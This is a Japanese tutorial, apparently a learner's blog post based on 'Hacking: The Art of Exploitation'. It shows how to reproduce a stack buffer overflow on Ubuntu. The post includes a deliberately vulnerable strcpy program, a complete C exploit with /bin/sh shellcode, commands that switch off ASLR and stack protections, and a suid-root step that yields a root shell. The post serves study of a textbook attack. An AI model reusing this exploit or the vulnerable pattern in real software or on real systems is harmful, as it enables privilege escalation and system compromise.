Ubuntuでのスタックバッファオーバーフローアタック(stack buffer overflow attack)の実演方法
↓の「Hacking: 美しき策謀 ―脆弱性攻撃の理論と実際」という本でバッファオーバーフローなどを用いた攻撃について学習してます。
↓英語版。第2版なので英語読める人はこっちのほうがいい。「Hacking: The Art of Exploitation」
しかし、最新のUbuntuなどではバッファオーバーフローアタックを防御するための機構があるため、デフォルトでは本の中にあるコードは動作しません。ということで動作させる方法です。
脆弱性のあるコード。
vuln.c
#include <stdio.h> int main(int argc, char *argv[]){ char buffer[500]; strcpy(buffer, argv[1]); return 0; }
exploitコード。
exploit.c
#include <stdlib.h> char shellcode[]= "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; unsigned long sp(void){ __asm__("movl %esp, %eax"); } int main(int argc, char *argv[]){ int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; esp = sp(); ret = esp - offset; printf("sp = 0x%x\n",esp); printf("offset = 0x%x\n",offset); printf("ret = 0x%x\n",ret); buffer = malloc(600); ptr = buffer; addr_ptr = (long *)ptr; for(i=0; i<600; i += 4){ *(addr_ptr++) = ret; } for(i=0; i<200; i++){ buffer[i] = '\x90'; } ptr = buffer + 200; for(i=0; i<strlen(shellcode); i++){ *(ptr++) = shellcode[i]; } buffer[600-1] = 0; execl("./vuln", "vuln", buffer, 0); free(buffer); return 0; }
コードはほぼ本からのまるぱくり引用です。若干違う部分があるかもしれませんが。
まずはASLR(アドレス空間のレイアウトをランダム化する機能)を無効にします。
$ sudo sysctl -w kernel.randomize_va_space=0
次にvuln.cを次のコンパイルオプションをつけてコンパイルします。
-fno-stack-protector : Stack-Smashing Protector(SSP)(リターンアドレスなどの改竄を検出したらプログラムを終了させる機能?)を無効にする。
-z execstack : スタック上のコードを実行可能にする。
$ gcc -fno-stack-protector -z execstack -o vuln vuln.c
exploit.cは普通にコンパイルすれば大丈夫です。
$ gcc -o exploit exploit.c
これでスタックバッファオーバーフローを利用してシェルを起動できるはずです。
また、vulnが suid root プログラムであればrootが奪えます。
$ sudo chown root vuln $ sudo chmod +s vuln $ ./exploit sp = 0xbffff798 offset = 0x0 ret = 0xbffff798 #